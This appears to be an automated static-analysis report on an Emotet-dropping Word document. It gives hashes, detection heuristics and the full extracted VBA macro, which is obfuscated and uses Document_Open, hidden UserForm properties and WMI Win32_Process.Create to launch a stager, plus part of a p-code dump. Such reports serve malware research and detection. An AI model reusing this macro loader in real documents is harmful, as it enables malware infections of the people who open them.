Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d78ac31520233ae6…

MALICIOUS

Office (OLE)

171.9 KB Created: 2020-07-21 10:15:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 482aa80616a890a689a6718f320d41c0 SHA-1: c385711d6d5b12d134a1d5a3733e08a09dd85478 SHA-256: d78ac31520233ae6c241c8716162d7c12d1e2ce09af03af51171cd2cc04e5dd4
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet. The ClamAV detection also explicitly names Emotet. The macro likely uses CreateObject to download and execute a second-stage payload, a common tactic for this family.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9528 bytes
SHA-256: a34a5b7ab0557257385da90f445e0dcb135c203f8e4d82b451c5d9eb83753f82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jouhpeuzyaejveuk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
nougxiec
End Sub


Attribute VB_Name = "ruaxquuz"
Attribute VB_Base = "0{F7776FE7-0AB1-40CE-B93C-85B898C84F62}{8F389FCB-969C-4541-A7B9-179B7E58C45B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "keaththeoyleiyvauryoafraup"
Function nougxiec()
meexheikfeon = Chr(ruaxquuz.Zoom + 2 + 2 + 2 + 6 + 3)
Dim FCcbSfXm As Date
doapceamreisveugtheith = "$12387ghbqhjwg2781vbjkKKb2winm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2gm$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2t" + meexheikfeon + "$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2:wi$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2n32_$12387ghbqhjwg2781vbjkKKb2" + ruaxquuz.soeddeotguuj + "roc$12387ghbqhjwg2781vbjkKKb2$12387ghbqhjwg2781vbjkKKb2es$12387ghbqhjwg2781vbjkKKb2s"
Dim cgaNo As String
cgaNo = Replace$("l6ÆmYk0ÓFMeBnqVGS6ÒGNt", "l6ÆmYk0ÓFMeB", "sw7ÑQNomd")
yoijweegniafdoflaw = deebjapboiy(doapceamreisveugtheith)
Dim qVcuRkJreP As Object
Set bupsouftiozweuthgoobkioch = CreateObject(yoijweegniafdoflaw)
Dim lWiD As Byte
decgoelwobzoashaojtheoj = ruaxquuz.baukgoeptheehvaujthiamrauz.ControlTipText
Dim OTA4Ït1ÚFEt As Integer
OTA4Ït1ÚFEt = 4
Do While OTA4Ït1ÚFEt < 4 + 9
OTA4Ït1ÚFEt = OTA4Ït1ÚFEt + 2: DoEvents
Loop
seaqumoizkouk = yoijweegniafdoflaw + meexheikfeon + ruaxquuz.yeexcaidroilchiorwiaktheog.ControlTipText + decgoelwobzoashaojtheoj
Dim kfTvg As Boolean
vooh = seaqumoizkouk + ruaxquuz.soeddeotguuj
Dim ZIh As String
ZIh = Replace$("LUXCnATOCMj3ÚK8âgVUKK", "LUXCnATOC", "hnikNj")
Set keegniesneewheamnaichceel = naos(vooh)
Dim kEFMeB As String
kEFMeB = Replace$("oBUVcu3ÜfYMZu", "oBU", "Css")
Dim SpYwyWVL As Boolean
R = Array(N, bupsouftiozweuthgoobkioch. _
Create(cauj, soocquesthoech, keegniesneewheamnaichceel))
Dim BZIhfU As Boolean
End Function
Function naos(pozfiofvuusdiathbaow)
Set naos = CreateObject(pozfiofvuusdiathbaow)
naos _
. _
showwindow = (xaepmoen + dourbeonnaenpiayhielcait) + (voac + teolnalsoiththaqu)
Dim WaT1Ä As Integer
WaT1Ä = 7
Do While WaT1Ä < 7 + 8
WaT1Ä = WaT1Ä + 1: DoEvents
Loop
End Function
Function deebjapboiy(theah)
jeojjoivjeel = theah
Dim CgR As String
CgR = Replace$("ahwG4ÏbmiIGgfVVa", "ahwG4Ï", "facqb")
deoquxooscouthguabriokvad = Split(jeojjoivjeel, "$12387ghbqhjwg2781vbjkKKb2")
Dim kX6Å6ÊSv6Û7ÊI As String
kX6Å6ÊSv6Û7ÊI = Replace$("Wo2áZSYIvyl6Ëc8", "Wo2áZS", "eIroHmnBW")
bouv = posx + Join(deoquxooscouthguabriokvad, posx)
Dim mnsIBRYFOu As String
mnsIBRYFOu = Replace$("V4ÜYNMoDtJHyYIF", "V4ÜYNMoDtJ", "U3ÑRm")
deebjapboiy = bouv
Dim JKR As String
JKR = Replace$("dGcnGlYoQP1ÈjJPKM", "dGcnGlY", "WfNkTHqfe")
End Function
Function cauj()
io = ruaxquuz.laummuacyioxxiek.Pages(1).ControlTipText
Dim EJCoQlgkOA As Integer
EJCoQlgkOA = 5
Do While EJCoQlgkOA < 5 + 3
EJCoQlgkOA = EJCoQlgkOA + 6: DoEvents
Loop
cauj = deebjapboiy(io)
End Function


' Processing file: /opt/analyzer/scan_staging/34b3d1e82ae745589a118f1519870864.bin
' ===============================================================================
' Module streams:
' Macros/VBA/jouhpeuzyaejveuk - 1361 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub jouhpeuzyaejveuk())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/ruaxquuz - 1189 bytes
' Macros/VBA/keaththeoyleiyvauryoafraup - 5336 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld ruaxquuz 
' 	MemLd Chr 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0002 
' 	Add 
' 	LitDI2 0x0006 
' 	Add 
' 	LitDI2 0x0003 
' 	Add 
' 	ArgsLd meexheikfeon 0x0001 
' 	St ke
... (truncated)

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